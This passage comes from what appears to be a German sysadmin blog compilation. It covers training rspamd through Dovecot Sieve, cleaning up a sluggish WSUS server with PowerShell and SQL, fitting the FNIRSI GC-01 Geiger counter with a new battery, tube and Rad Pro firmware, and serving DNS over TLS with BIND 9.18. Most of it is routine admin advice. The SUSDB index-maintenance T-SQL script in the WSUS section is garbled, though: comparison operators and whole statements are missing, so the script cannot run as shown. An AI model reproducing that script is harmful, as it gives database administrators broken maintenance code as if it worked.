Wer rspamd lokal laufen hat, ersetzt `127.0.0.3` durch `127.0.0.1` oder nutzt den Unix-Socket (`-h /var/run/rspamd/rspamd.sock`). Unter Linux liegen die Scripts in `/usr/lib/dovecot/` statt `/usr/local/libexec/dovecot/`. Der Pfad in `sieve_pipe_bin_dir` muss natürlich dazu passen.
**Wichtig:** Damit `rspamc` ohne Passwort trainieren darf, muss die IP im rspamd Controller-Worker als vertrauenswürdig eingetragen sein. In `/usr/local/etc/rspamd/local.d/worker-controller.inc` (FreeBSD) bzw. `/etc/rspamd/local.d/worker-controller.inc` (Linux):
```
secure_ip = "127.0.0.0/8";
secure_ip = "::1";
```
Ohne das schlägt `rspamc learn_spam` mit einem Authentifizierungsfehler fehl. Bei Jail-Setups muss die Jail-IP (`127.0.0.3`) in der Liste stehen.
### Testen
Dovecot neu laden:
```
service dovecot reload
```
Dann eine beliebige Mail in den Junk-Ordner verschieben und im rspamd-Log nachschauen:
```
rspamd_controller_learn_fin_task: <127.0.0.3> learned message as spam: MESSAGE-ID
```
Mail wieder raus aus Junk in den Posteingang:
```
rspamd_controller_learn_fin_task: <127.0.0.3> learned message as ham: MESSAGE-ID
```
Wenn das im Log steht, funktioniert alles. Kein Neustart nötig, kein Cache-Flush, kein Warten.
### Wie viel Training braucht rspamd
Rspamd nutzt einen [Bayes-Klassifikator](https://de.wikipedia.org/wiki/Bayesscher_Spamfilter). Der braucht eine Mindestmenge an gelernten Nachrichten, bevor er aktiv wird. Die Standardeinstellung ist 200 — also mindestens 200 Spam-Mails und 200 Ham-Mails. Vorher ignoriert rspamd die Bayes-Ergebnisse komplett.
Das klingt nach viel, geht aber schneller als man denkt. Wer ein paar Dutzend Benutzer auf dem Server hat, kommt da in wenigen Wochen hin. Und danach wird rspamd mit jeder sortierten Mail ein bisschen besser.
Den aktuellen Stand kann man jederzeit prüfen:
```
rspamc stat
```
Unter `Statfile` sieht man wie viele Nachrichten rspamd bereits gelernt hat.
Rspamd trainiert standardmäßig einen globalen Bayes-Klassifikator — alle Benutzer lernen in denselben Pool. Wer das pro Benutzer trennen will, setzt in der `classifier-bayes.conf`:
```
per_user = true;
```
Für die meisten Setups mit einer Handvoll Domains ist der globale Pool sinnvoller — mehr Trainingsdaten, schneller gute Ergebnisse.
### Hinweise
Die Konfiguration ist stabil — Dovecot-Updates, rspamd-Updates, FreeBSD-Upgrades, alles durchgelaufen ohne Anpassung.
Wer rspamd danach noch eine Stufe weiter bringen will: Ich habe einen eigenen Beitrag geschrieben, wie man [GPT-basierte Spam-Erkennung in rspamd integriert](https://www.kernel-error.de/2025/09/30/gpt-in-rspamd-aktivieren/). Das läuft zusätzlich zum Bayes-Klassifikator und fängt die Mails ab, die durch das statistische Netz rutschen.
Fragen? Schreib mir über die [Kontaktseite](https://www.kernel-error.de/kontakt/).
## 4. WSUS-Bereinigung: Timeouts beheben und Speicherplatz freigeben
**Veröffentlicht:** 2020-08-24
**Permalink:** https://www.kernel-error.de/2020/08/24/wsus-bereinigung-timeout-und-platte-laeuft-mit-updates-voll/
**Description:** Erfahre, wie du Timeout-Probleme bei der WSUS-Bereinigung löst und Festplattenplatz zurückgewinnst. Praktische Tipps für einen reibungslosen Betrieb.
[Bild: WSUS Windows Server Update Service Icon]
Pfffff…. Einen dauerhaft richtig gut laufenden WSUS Server habe ich tatsächlich noch nie gesehen; was auch an mir liegen kann ;-). Irgendwann werden die Dinger laaaaannnnggggssssaaammmm. Dann gibt es Timeouts, dann läuft irgendwann die Serverbereinigung nicht mehr durch und man muss sich mit so einem System beschäftigen, bevor die Platten voll sind.
WSUS ist einfach kein Dienst, den man konfiguriert und dann läuft er, abgesehen von Sicherheitsupdates, durch. Nein… WSUS möchte dauerhaft Aufmerksamkeit. Was mir dabei so aufgefallen ist, möchte ich kurz mit euch teilen!
[[Bild: Screenshot inkl. Klickpfade der WSUS Update Service Oberfläche zum Konfigurieren der Produkte und Klassifizierungen.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-no-driverupdates.jpg)
**Mache NIE (wirklich NIE) Treiberupdates über WSUS.** Hier explodiert der Platzverbrauch für die Updates!
Sollte es jemand aktiviert haben. Als erstes über „Windows Server Update Services (WSUS) ==> Optionen ==> Produkte und Klassifizierungen ==> Klassifizierungen ==> Treiber“ rauswerfen. Dann über „Updates ==> Alle Updates“ zu den Dropdown Menus und hier: Genehmigung: Genehmigt und Status: Alle. Warten bis die Liste vollständig ist und nach Klassifizierung sortieren. Alle Treiberupdates auswählen und ablehnen.
Was mir auch geholfen hat ist das folgende PowerShell Script. Dieses läuft zwar ewig, räumt aber viel weg:
```
[reflection.assembly]::LoadWithPartialName("Microsoft.UpdateServices.Administration")
```
[[Bild: Screenshot der Windows PowerShell ISE inkl. script.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-remove-driver.jpg)
```
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer();
$wsus.GetUpdates() | Where {$_.IsDeclined -eq $true} | ForEach-Object {$wsus.DeleteUpdate($_.Id.UpdateId.ToString()); Write-Host $_.Title removed }
```
Wo wir beim Aufräumen sind… Es gibt so einen wunderschönen „Assistent für die Serverbereinigung“. Dieser sollte überflüssige Updates weg löschen. Also wenn die Computer für die Updates nicht mehr da sind, die Updates von anderen ersetzt wurden oder heruntergeladene Updates abgelehnt wurden. Es ergibt daher Sinn, diesen Assistenten ggf. täglich laufen zu lassen. Er ist nur leider nicht direkt zu automatisieren. Dafür benötigt man ebenfalls ein PowerShell Script welches man täglich per Aufgabenplanung ausführen lässt. Mir hat folgendes bisher immer gute Dienste geleistet.
```
# Variablen
$DateFormat = Get-Date -format yyyyMMdd-HH-mm
$Logfile = "H:\Logs\wsus-bereinigung-$DateFormat.log"
# WSUS Bereinigung durchführen
Invoke-WsusServerCleanup -CleanupObsoleteUpdates -CleanupUnneededContentFiles -CompressUpdates -DeclineExpiredUpdates -DeclineSupersededUpdates | Out-File $Logfile
# Mail Variablen
$MailSMTPServer = "smtp.kernel-error.de"
$MailFrom = "administrator@firma88.inf"
$MailTo = "dev@null.de"
$MailSubject = "${env:COMPUTERNAME} Bereinigung $DateFormat"
$MailBody = Get-Content $Logfile | Out-String
# Mail versenden
Send-MailMessage -SmtpServer $MailSMTPServer -From $MailFrom -To $MailTo -subject $MailSubject -body $MailBody -Encoding Unicode
```
Es räumt auf, erstellt ein Logfile und sendet einem zusätzlich noch eine Status E-Mail darüber zu.
Was aber wenn man in der WSUS Timeout Hölle gefangen ist und die ganzen Versuche fehlschlagen das Ding wieder „sauber“ zu machen? Dabei hat mir folgendes geholfen.
**IIS umstellen:**
IIS-Manager ==> Anwendungspools ==> WsusPool ==> Erweiterte Einstellungen
Limit für den privaten Speicher (KB): 6000000
Maximale Anzahl von Arbeitsprozessen: 0
Startmodus: AlwaysRunning
Nicht vergessen den IIS neu zu starten oder besser den ganzen Server, es ist ja ein Windows 😉
[[Bild: Screenshot der Database Properties - SUSDB zur WSUS Datenbank.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-database-compability.jpg)
**Windows Internel Database WDI umstellen:**
Mit dem Microsoft SQL Server Management Studio zu folgendem Server verbinden: \\.\pipe\MICROSOFT##WID\tsql\query
Dann „Databases ==> SUSDB ==> rechte Maus Properties ==> Options ==> „Compatibility level:“ SQL Server 2012 (110)
Man kann hier auch über „Databases ==> SUSDB ==> rechte Maus Tasks ==> Shrink ==> Database“ den freien Speicherplatz der Datenbank zusammenfassen lassen.
[[Bild: Screenshot der Database Properties - SUSDB zur WSUS Datenbank. Shrink Database.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-database-shrink.jpg)
Wenn man schon hier ist lässt sich die Synchronisierungshistory mit folgender SQL Query aufräumen:
```
USE SUSDB
GO
DELETE FROM tbEventInstance WHERE EventNamespaceID = '2' AND EVENTID IN ('381', '382', '384', '386', '387', '389')
```
[[Bild: Screenshot vom Micosoft SQL Server Manager mit SQL Query zur Bereinigung der WSUS Datenbank.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-sychronisierungen-02.jpg)
Einfach „New Query“ copy&paste „Execute“.
Wenn die Serverbereinigung weiterhin hängen bleibt hilft es scheinbar oft das erste Update in der „zu löschen“ Liste von Hand zu löschen:
```
USE SUSDB
GO
exec spGetObsoleteUpdatesToCleanup
```
Jetzt die erste Update ID notieren und:
```
USE SUSDB
GO
exec spDeleteUpdate @localUpdateID=HIERUPDATEID
```
Über den Weg lässt sich auch kontrollieren ob die Versuche das Ding aufzuräumen irgendwie einen Fortschritt bringen. Kommt man auch so nicht weiter hat mir folgende SQL Query geholfen (auch wenn sie unglaublich lange läuft):
```
USE SUSDB
DECLARE @var1 INT, @curitem INT, @totaltodelete INT
DECLARE @msg nvarchar(200)
CREATE TABLE #results (Col1 INT) INSERT INTO #results(Col1)
EXEC spGetObsoleteUpdatesToCleanup
SET @totaltodelete = (SELECT COUNT(*) FROM #results)
SELECT @curitem=1
DECLARE WC Cursor FOR SELECT Col1 FROM #results
OPEN WC
FETCH NEXT FROM WC INTO @var1 WHILE (@@FETCH_STATUS > -1)
BEGIN SET @msg = cast(@curitem as varchar(5)) + '/' + cast(@totaltodelete as varchar(5)) + ': Deleting ' + CONVERT(varchar(10), @var1) + ' ' + cast(getdate() as varchar(30))
RAISERROR(@msg,0,1) WITH NOWAIT
EXEC spDeleteUpdate @localUpdateID=@var1
SET @curitem = @curitem +1
FETCH NEXT FROM WC INTO @var1
END
CLOSE WC
DEALLOCATE WC
DROP TABLE #results
```
Ebenfalls gibt es die Möglichkeit seine [Datenbank zu re-indexieren](https://gallery.technet.microsoft.com/scriptcenter/6f8cde49-5c52-4abd-9820-f1d270ddea61). Indexe in einer Datenbank neu aufzubauen hat selten geschadet, hm?
```
/******************************************************************************
This sample T-SQL script performs basic maintenance tasks on SUSDB
1. Identifies indexes that are fragmented and defragments them. For certain
tables, a fill-factor is set in order to improve insert performance.
Based on MSDN sample at http://msdn2.microsoft.com/en-us/library/ms188917.aspx
and tailored for SUSDB requirements
2. Updates potentially out-of-date table statistics.
******************************************************************************/
USE SUSDB;
GO
SET NOCOUNT ON;
-- Rebuild or reorganize indexes based on their fragmentation levels
DECLARE @work_to_do TABLE (
objectid int
, indexid int
, pagedensity float
, fragmentation float
, numrows int
)
DECLARE @objectid int;
DECLARE @indexid int;
DECLARE @schemaname nvarchar(130);
DECLARE @objectname nvarchar(130);
DECLARE @indexname nvarchar(130);
DECLARE @numrows int
DECLARE @density float;
DECLARE @fragmentation float;
DECLARE @command nvarchar(4000);
DECLARE @fillfactorset bit
DECLARE @numpages int
-- Select indexes that need to be defragmented based on the following
-- * Page density is low
-- * External fragmentation is high in relation to index size
PRINT 'Estimating fragmentation: Begin. ' + convert(nvarchar, getdate(), 121)
INSERT @work_to_do
SELECT
f.object_id
, index_id
, avg_page_space_used_in_percent
, avg_fragmentation_in_percent
, record_count
FROM
sys.dm_db_index_physical_stats (DB_ID(), NULL, NULL , NULL, 'SAMPLED') AS f
WHERE
(f.avg_page_space_used_in_percent 50 and f.avg_fragmentation_in_percent > 15.0)
or (f.page_count > 10 and f.avg_fragmentation_in_percent > 80.0)
PRINT 'Number of indexes to rebuild: ' + cast(@@ROWCOUNT as nvarchar(20))
PRINT 'Estimating fragmentation: End. ' + convert(nvarchar, getdate(), 121)
SELECT @numpages = sum(ps.used_page_count)
FROM
@work_to_do AS fi
INNER JOIN sys.indexes AS i ON fi.objectid = i.object_id and fi.indexid = i.index_id
INNER JOIN sys.dm_db_partition_stats AS ps on i.object_id = ps.object_id and i.index_id = ps.index_id
-- Declare the cursor for the list of indexes to be processed.
DECLARE curIndexes CURSOR FOR SELECT * FROM @work_to_do
-- Open the cursor.
OPEN curIndexes
-- Loop through the indexes
WHILE (1=1)
BEGIN
FETCH NEXT FROM curIndexes
INTO @objectid, @indexid, @density, @fragmentation, @numrows;
IF @@FETCH_STATUS = 5000 AND @fillfactorset = 0
SET @command = N'ALTER INDEX ' + @indexname + N' ON ' + @schemaname + N'.' + @objectname + N' REBUILD WITH (FILLFACTOR = 90)';
ELSE
SET @command = N'ALTER INDEX ' + @indexname + N' ON ' + @schemaname + N'.' + @objectname + N' REBUILD';
PRINT convert(nvarchar, getdate(), 121) + N' Executing: ' + @command;
EXEC (@command);
PRINT convert(nvarchar, getdate(), 121) + N' Done.';
END
-- Close and deallocate the cursor.
CLOSE curIndexes;
DEALLOCATE curIndexes;
IF EXISTS (SELECT * FROM @work_to_do)
BEGIN
PRINT 'Estimated number of pages in fragmented indexes: ' + cast(@numpages as nvarchar(20))
SELECT @numpages = @numpages - sum(ps.used_page_count)
FROM
@work_to_do AS fi
INNER JOIN sys.indexes AS i ON fi.objectid = i.object_id and fi.indexid = i.index_id
INNER JOIN sys.dm_db_partition_stats AS ps on i.object_id = ps.object_id and i.index_id = ps.index_id
PRINT 'Estimated number of pages freed: ' + cast(@numpages as nvarchar(20))
END
GO
--Update all statistics
PRINT 'Updating all statistics.' + convert(nvarchar, getdate(), 121)
EXEC sp_updatestats
PRINT 'Done updating statistics.' + convert(nvarchar, getdate(), 121)
GO
```
Meist scheint eine Kombination auf verschiedenen Dingen zu helfen. Bisher hat mir zumindest immer irgendetwas davon geholfen. Auch wenn ich dafür einige Zeit in Suchmaschinen verschwenden musste. Dieses ist also eher so etwas wie eine Sammlung gefundener Dinge 😉
Fragen? Dann fragen…
---
---
## 5. FNIRSI GC-01 Upgrade: Akku, Zählrohr & Rad Pro Firmware installieren
**Veröffentlicht:** 2024-10-13
**Permalink:** https://www.kernel-error.de/2024/10/13/nuclear-radiation-detector-fnirsi-gc-01-upgrade/
**Description:** Anleitung zum Upgrade des FNIRSI GC-01 Geigerzählers: Akku tauschen, Zählrohr ersetzen und Rad Pro Firmware installieren für bessere Leistung und...
Bei meinen letzten Einkaufstouren auf Aliexpress ist mir immer mal wieder ein [FNIRSI GC-01 Nuclear Radiation Detector](https://s.click.aliexpress.com/e/_DEdHS8z), sprich Geigerzähler vorgeschlagen worden. Was soll ich sagen, japp hat funktioniert, irgendwann habe ich das Teil tatsächlich einfach für knapp 30€ mit im Einkaufswagen gehabt. Nach ein paar Spielerreien ging mir aber schnell die Batterielebensdauer auf die Nerven, denn das Teil war im grunde immer leer. Da mich, wie immer, brennend interessiert, was denn da überhaupt verbaut ist, habe ich es mir etwas näher angesehen und schnell festgestellt, dass man noch ein paar Veränderungen vornehmen kann. Darum soll es in diesem Beitrag gehen.
[[Bild: Geöffneter FNIRSI GC-01 Nuclear Radiation Detector]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-PCB-01-scaled.jpg)
Das Gerät kam mit einem J613 Geiger-Müller-Zählrohr. Dieses ist in der Lage Beta- und Gamma-Strahlung zu erfassen. J613 braucht eine Betriebsspannung von 300 bis 400 Volt und ist ganz gut darin auch niedrige Stralungsniveaus zu messen. Die Platine des GC-01 ist recht simpel aufgebaut. Es hat ein kleines PSU, welches vom USB-C Anschluss oder vom 3.7V Akku eine Spannung von ca. 130V AC aufbaut (ich hab den Teil mal mit einer 1 markiert). Dieses fütter dann einen 3-Stage Multiplier (2) und schon kommen die knapp 400V zusammen. Eine kleine [CR1220](https://amzn.to/4eG9SsP) Knopfzellenbatterie sorgt dafür, dass der Speicher für Uhrzeit und Messwerte gehalten wird. Dann ist da noch ein kleiner CH32F103 (3). Das kann aber auch mal ein ARM MCU sein, kommt auf die Version an. Der eigentliche 3.7V Akku kommt bei mir mit 1100mAh, also knapp 4Wh, was die geringe Laufzeit erklären sollte. Es gibt noch einen kleinen Piezo Tongeber, welcher für die für einen Geigerzähler bekannten Knackgeräusche sorgt, wenn ein Teilchen „gezählt“ wird. Nahe der MCU sind noch vier „Löcher“ in der Platine, welche als JP1 beschriftet sind. Wie sich heraus stellte, ist dieses ein ST-Link Connector und von link nach rechts sind es die Pins +3.3V, SWDIO, SWCLK, GND. Das wird etwas später noch spannend.
[[Bild: Geöffneter FNIRSI GC-01 Nuclear Radiation Detector]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-ST-LINK-scaled.jpg)
Was mir ebenfalls recht schnell aufgefallen ist, ist dass scheinbar nicht jedes Teilchen ein hörbares Knacken auslöst. Zwar findet sich über dem Display noch eine kleine rote LED, welche passen zu den Teilchen aufblinkt aber halt nicht das Knacken. Der Soundgeber scheint auschließlich per Firmware angesteuert zu werden und die Entwickler haben anders entschieden. 😉
Im Internet habe ich ein paar Modifikation per Widerstand, Transistor usw. gesehen um eine Verbindung zwischen LED und Piezo Soundgeber zu löten, damit diese auch immer Geräusche von sich gibt. Ich bin aber bei Firmware hängen geblieben. Zum einen gibt es eine doch leistungsstarke MCU, dann noch eine USB-C Schnittstelle, bei welcher die Datenleitungen bis zur MCU reichen und natürlich noch den ST-Link.
Schalte ich das Gerät aus, schließe es per USB-C an meinen Computer an und schalte es ein taucht ein Laufwerk mit einem leeren Textfile auf. Irgendwas muss da also gehen. Da war nun wieder der Punkt an welchem ich nicht los lassen konnte.
Die [CR1220](https://amzn.to/4eG9SsP) kam schon etwas verbraucht an und wurde von mir gegen eine frische ersetzt. Für den kleinen 1100mAh Akku hat sich ebenfalls ein günstiger und vor allem ins Gehäuse [passender Ersatz mit immerhin 2200mAh](https://amzn.to/3Nmq1YD) gefunden. Dieser sollte die Autonomiezeit fast verdoppeln. Das J613 ist im grunde sehr gut für seinen Zweck, ich hatte da aber noch ein [SBM-20-1](https://www.ebay.de/sch/i.html?_nkw=SBM-20-1) von einem früheren Projekt in meiner Schublade liegen. Das SBM-20-1 braucht eine Betriebsspannung von 380 bis 450V und hat eine sehr ähnliche Bauform. Wenn man die beiden Haltepfosten auslötet, passt die gut rein.
[[Bild: Geöffneter FNIRSI GC-01 Nuclear Radiation Detector mit installiertem SBM-20-1 Zählrohr.]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-with-SBM-20-1-tube-scaled.jpg)
Ebenfalls erfasst es Beta- und Gamma-Strahlung. Es ist zwar bei geringeren Strahlungen nicht gaaanz so genau wie das J613 und das Fenster für Beta-Strahlung ist etwas kleiner aber hey, dafür ist das Ding fast unkaputtbar und wenn ich der Firmware irgendwie mitteilen kann, was ich da eingebaut habe, dann sollte sich Vieles durch berechnungen in der Firmware doch ausgleichen lassen, oder?
[[Bild: Geöffneter FNIRSI GC-01 Nuclear Radiation Detector]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-Akku-scaled.jpg)
**Firmware**….
Ein Datalogger wäre toll, damit ich einfach jeden Tag, jede Stunde oder so kurz den aktuellen Messwert wegschreiben kann. Dann könnte ich über einen laaangen Zeitraum eine Kurve zeichnen. Wenn ich dann noch irgendwie den Stromverbrauch beeinflussen könnte, denn das Display muss ja nicht 24/4 leuchten. Vielleicht noch etwas um die normale Hintergrundstrahlung heraus zu filtern?! So Kleinigkeiten welche mir in der Stock Firmware irgendwie fehlen. Aber vielleicht gibt es ja inzwischen ein Update vom Herstellen oder ich kann da was auslesen und selbst schreiben, mal schauen.
Die Recerche hat mich recht schnell zu einem [GitHub repro gebracht. Rad Pro](https://github.com/Gissio/radpro/blob/main/docs/devices/FNIRSI%20GC-01/install.md), da hat sich schon jemand mit einer alternativen Firmware für verschiedene Geräte beschäftigt. Selbst Dinge über welche ich noch nicht im Ansatz nachgedacht habe, werden dort erfüllt bzw. gelöst. Öhm also was soll ich sagen? Ich hab einfach gemacht, was dort in der sehr überschaubaren Anleitung steht und geht einfach! Naja, fast. der Weg über das USB Laufwerk hat nicht so wirklich funktioniert. Am Ende habe ich einfach kurz eine Stiftleiste für den [ST-Link](https://github.com/Gissio/radpro/blob/main/docs/devices/FNIRSI%20GC-01/install-stlink.md) eingelötet und die neue Firmware über diesen Weg in die MCU gedrückt. Was sich für mich auch irgendwie zuverlässiger anfühlte, vielleicht bin ich da aber auch zu oldschool.
Ein paar Bilder vom Gerät mit der neuen Firmware findet ihr unten.
Viel Spaß beim Basteln und wenn ihr Fragen habt, wie immer einfach fragen.
[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Logging]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-11-scaled.jpg)
[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - HV profile]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-10-scaled.jpg)
[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Background compensation]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-09-scaled.jpg)
[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Geiger tube]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-08-scaled.jpg)
[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Conversion factor]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-07-scaled.jpg)
[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Dose alarm]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-06-scaled.jpg)
[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Rate alarm]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-05-scaled.jpg)
[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Averaging]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-04-scaled.jpg)
[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Units]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-03-scaled.jpg)
[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Histroy]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-02-scaled.jpg)
[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Instantaneous]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-01-scaled.jpg)
[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Logging][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - HV profile][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Background compensation][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Geiger tube][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Conversion factor][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Dose alarm][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Rate alarm][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Averaging][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Units][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Histroy][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Instantaneous]
### Rad Pro Firmware 3.x – ein deutliches Stück Reife
Wie doch die Zeit vergeht. Inzwischen gibt es eine deutlich neuere Firmware für das FNIRSI GC-01. Aktuell ist Version 3.0.2, verfügbar im offiziellen Rad Pro-Repository: [https://github.com/Gissio/radpro/releases](https://github.com/Gissio/radpro/releases)
Die Installation war bei mir – wie schon bei früheren Versionen – wieder unkompliziert. Allerdings weiterhin nicht über USB-DFU, sondern erneut klassisch über ST-Link, was beim GC-01 inzwischen fast schon erwartbar ist.
Der Ablauf selbst war unspektakulär und funktionierte auf Anhieb:
```
kernel@ErrorWork ~/D/r/fnirsi-gc01_ch32f103r8> sudo ./install.sh
[sudo] password for kernel:
Available language codes: bg cs da de el en es fi fr hr hu it nl no pl pt ro ru sk sl sv tr uk vi
Enter language code for Rad Pro installation: de
../fnirsi-gc01_ch32f103r8/firmware/radpro-fnirsi-gc01_ch32f103r8-de-3.0.2.bin
Backing up old firmware image...
...
** Programming Started **
** Programming Finished **
```
OpenOCD meldet dabei erwartungsgemäß weiterhin die bekannte Warnung zur künftig wegfallenden ST-Link-HLA-Unterstützung. Mit einem halbwegs aktuellen ST-Link-Firmwarestand ist das aktuell aber noch unkritisch.
Nach dem Flashen lief das Gerät sofort stabil, alle bisherigen Einstellungen wurden korrekt übernommen. Naja, fast. Den Zählrohrtypen musste ich neu setzten.
### Was hat sich geändert? – Changelog ab Version 2.x
Gerade mit Version 3.0 ist funktional einiges dazugekommen. Nachfolgend der relevante Changelog ab Version 2.0, zusammengefasst und technisch eingeordnet.
**Version 3.0.2**
- Fix für Geräte, die nach einem Software-Update nicht mehr korrekt reagierten
- Web-Installer-Bugfix für Bosean FS-5000
- Alarm- und Sprachfunktionen beim GQ GMC-800 wiederhergestellt
**Version 3.0.1**
- Entfernte Ladezustandsanzeige beim FNIRSI GC-01 (hardwarebedingt nicht zuverlässig)
- Korrekturen an Batterie-Anzeigen auf mehreren Geräten
- Reaktionszeit der Akkuanzeige verbessert
**Version 3.0**
Hier liegt der eigentliche Sprung:
- Unterstützung weiterer Geräte (u. a. GQ GMC-800)
- Mehrsprachige Oberfläche (27 Sprachen, inkl. Deutsch)
- Deutlich erweiterte History-Funktion
[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2024/10/13/nuclear-radiation-detector-fnirsi-gc-01-upgrade/ ...]
---
---
## 6. DNS over TLS mit BIND, Stunnel und Android 9: Eigener DoT-Server
**Veröffentlicht:** 2022-03-18
**Permalink:** https://www.kernel-error.de/2022/03/18/bind-9-18-mit-doh-und-dot/
**Description:** Anleitung zur Einrichtung eines eigenen DNS over TLS (DoT) Servers mit BIND und Stunnel. Nutze verschlüsselte DNS-Abfragen auf Android 9 für mehr...
Die Zeit ging weiter, die Entwicklung bei BIND und DNS ebenfalls. Daher gibt es nun einen [neuen Beitrag](https://www.kernel-error.de/2026/01/03/bind-9-20-auf-freebsd-15-dns-over-tls-dot-und-dns-over-https-doh-sicher-konfigurieren/), der das aktuelle Setup mit BIND 9.20 auf FreeBSD 15 beschreibt – inklusive sauberer Trennung von authoritative DNS (Port 53) und öffentlichem Resolver (DoT/DoH) sowie reproduzierbaren CLI-Tests für IPv4 und IPv6. Bitte dort weiterlesen.
Über die Techniken [DoT (DNS over TLS)](https://de.wikipedia.org/wiki/DNS_over_TLS) habe ich bereits im Zusammenhang mit Bind 9.16 [geschrieben](https://www.kernel-error.de/2019/07/16/dot-dns-over-tls-mit-bind-stunnel-und-android-9/). Ebenfalls [DoH (DNS over HTTPS)](https://de.wikipedia.org/wiki/DNS_over_HTTPS) gibt es einen kleinen [Beitrag](https://www.kernel-error.de/2019/11/19/doh-dns-over-https-mit-bind/).
[Bild: Bilder der Bind 9 TLS Konfiguration]
Zu diesem Zeitpunkt bracht [BIND 9 ](https://www.isc.org/bind/)die Unterstützung für DoH und DoT noch nicht selbst mit. Daher waren zu diesem Zeitpunkt noch Umwege über stunnel oder nginx zusammen mit doh-proxy nötig.
[Zum Glück kommt die letzte stable Version 9.18.0 (26. Januar 2022)](https://downloads.isc.org/isc/bind9/9.18.0/doc/arm/html/notes.html#new-features)[ ](https://downloads.isc.org/isc/bind9/9.18.0/doc/arm/html/notes.html#new-features)[mit dem nötigen Support.](https://downloads.isc.org/isc/bind9/9.18.0/doc/arm/html/notes.html#new-features)
```
named now supports securing DNS traffic using Transport Layer Security (TLS). TLS is used by both DNS over TLS (DoT) and DNS over HTTPS (DoH).
```
Warum möchte man noch gleich DoH oder DoT benutzen? Ganz einfach… Über diese Techniken werden DNS Abfragen verschlüsselt übertragen. Dieses ist ein weiterer Schutz davor manipulierte Antworten zu bekommen und selbstverständlich, damit die eigenen DNS Abfragen erst überhaupt nicht mitgelesen werden. Denn wenn von einem Gerät im Netzwerk die DNS Abfrage zu z.B.: www.tagesschau.de kommt, könnte man davon bereits Dinge ableiten.
Wie die meisten Bind Konfigurationen ist dieses ebenfalls straightforward. Ab Version 9.18 bringt Bind alles Nötige mit. Da wir nun TLS mit dem Bind sprechen möchten, benötigen wir natürlich ein gültiges Zertifikat, wie z.B. beim nginx für seine Webseite.
Ebenfalls sollte man ein paar frische Diffie-Hellmann Parameter generieren:
```
openssl dhparam -out dhparam.pem 4096
```
Die eigentliche bind Konfiguration kann in der named.conf.options geschehen:
```
options {
[...]
listen-on port 853 tls local-tls { 37.120.183.220; };
listen-on-v6 port 853 tls local-tls { 2a03:4000:38:20e::853; };
listen-on port 443 tls local-tls http default { 37.120.183.220; };
listen-on-v6 port 443 tls local-tls http default { 2a03:4000:38:20e::853; };
[...]
allow-recursion-on { 127.0.0.0/8; ::1/128; 2a03:4000:38:20e::853; 37.120.183.220; };
[...]
};
```
Da der bind auf weiteren Ports lauschen soll erweitert man diese für IPv4 und IPv6. Der Default Port für DoH ist dabei 443 und der default Port für DoT ist 853, beides TCP.
*listen-on* sowie listen-on-v6 sind wohl selbsterklärend.
